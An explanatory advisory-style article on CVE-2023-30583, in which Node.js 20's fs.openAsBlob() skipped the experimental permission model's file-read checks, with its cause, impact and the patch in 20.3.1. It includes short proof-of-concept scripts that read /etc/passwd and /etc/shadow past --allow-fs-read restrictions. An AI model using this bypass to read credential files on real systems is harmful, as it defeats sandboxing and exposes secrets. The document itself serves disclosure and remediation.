Node.js version affected: 20.x
Security risk: Medium-High (Experimental feature, but can be critical if adopted)
Exploitability: Trivial if using the feature
CVE page: CVE-2023-30583 on Mitre
Node.js advisory: Security Release

Introduction

In 2023, Node.js introduced an experimental permission model—a way to limit what files and sockets your code can access, even if malicious code gets injected. The goal: help web-like environments or serverless hosts sandbox untrusted code. You had to enable this new permission model explicitly with Node.js 20 using a combination of command-line flags like --experimental-permission and --allow-fs-read=/some/directory.

But savvy folks quickly noticed a flaw: a brand-new API called fs.openAsBlob() let code read ANY file on your system, completely ignoring the read permission restrictions. This bypass was filed as CVE-2023-30583.

Let’s break down, step-by-step, what caused the vulnerability, how you could exploit it, and why it happened.

When launching your Node.js app with

node --experimental-permission --allow-fs-read=/my/app

Node.js tries to make sure your code can only read files under /my/app and nothing else, no matter how hard it tries. If you try to do:

const fs = require('fs');
console.log(fs.readFileSync('/etc/passwd').toString());

Node will throw a “permission denied” error, unless /etc/passwd is also explicitly allowed.

What’s fs.openAsBlob()?

As web tech evolves, Node.js keeps adding APIs from browsers to help server and local development converge. In Node.js 20, they added a function:

await fs.promises.openAsBlob(filePath)

It opens a file and gives you a Blob object—the same kind you get in browsers when you upload a file, for instance.

The Flaw: Missing Permission Check

Most Node.js file-system APIs, like readFile or open, check the permissions and throw if you try to read a forbidden file. But fs.openAsBlob() didn’t check at all!

That meant this code could read anything—even /etc/passwd—no matter how strict your --allow-fs-read flags were:

const fs = require('fs');

(async () => {
  const blob = await fs.promises.openAsBlob('/etc/passwd');
  const arrayBuffer = await blob.arrayBuffer();
  console.log(Buffer.from(arrayBuffer).toString());
})();

If you’re running Node.js with the experimental permission model and tried this code, it would print the forbidden file’s contents. If this API were used in a function an attacker controlled, they could grab secrets, read config files, or steal sensitive data.

Say you were running in this “sandbox”

node --experimental-permission --allow-fs-read=/tmp/allowed.txt exploit.js

And your exploit.js file is

const fs = require('fs');

(async () => {
  // Should NOT be allowed!
  const content = await fs.promises.openAsBlob('/etc/shadow');
  const buf = Buffer.from(await content.arrayBuffer());
  // Print shadow file contents
  console.log(buf.toString());
})();

Node would print the contents of /etc/shadow (if your user has permissions), ignoring the flag you set.

Why Did This Happen?

The problem was simple, but easy to miss: the devs forgot to wire fs.openAsBlob() into the permission checker. All the “classic” fs functions were registered, but this new API wasn’t plugged into the same pipeline.

This is a classic pitfall when adding new APIs to software with complex, optional security models.

Consequences: Who Could Get Hurt?

- If you were experimenting with the permission model to restrict plugins or user code, an untrusted snippet could completely bypass your file access restrictions using this API.
- In hosting environments (think: serverless, multi-tenant platforms), early adopters might have deployed code “safely” using the experimental permission feature—only to find out their file boundaries were useless.

Fix & Patch Status

Node.js confirmed the flaw and patched fs.openAsBlob() to check permissions just like the other file system APIs.

If you use the experimental permission model, you should upgrade to Node.js 20.3.1 or later.

See:
- Node.js Security Releases June 2023
- PR #48197 - fs: openAsBlob permission check

Final Thoughts

Most Node.js production apps don’t use the permission flag—yet. But if your organization is experimenting with or relying on these sandbox flags, always keep an eye on the latest CVEs, especially as features move from experimental to stable.

Remember: even “sandboxed” environments need regular updates and reviews for new attack surface!

Original References

- Node.js Official Blog: June 2023 Security Releases
- NVD page for CVE-2023-30583
- GitHub fix PR: adds permission check to fs.openAsBlob

Timeline

Published on: 09/07/2024 16:15:02 UTC
Last modified on: 09/09/2024 19:35:01 UTC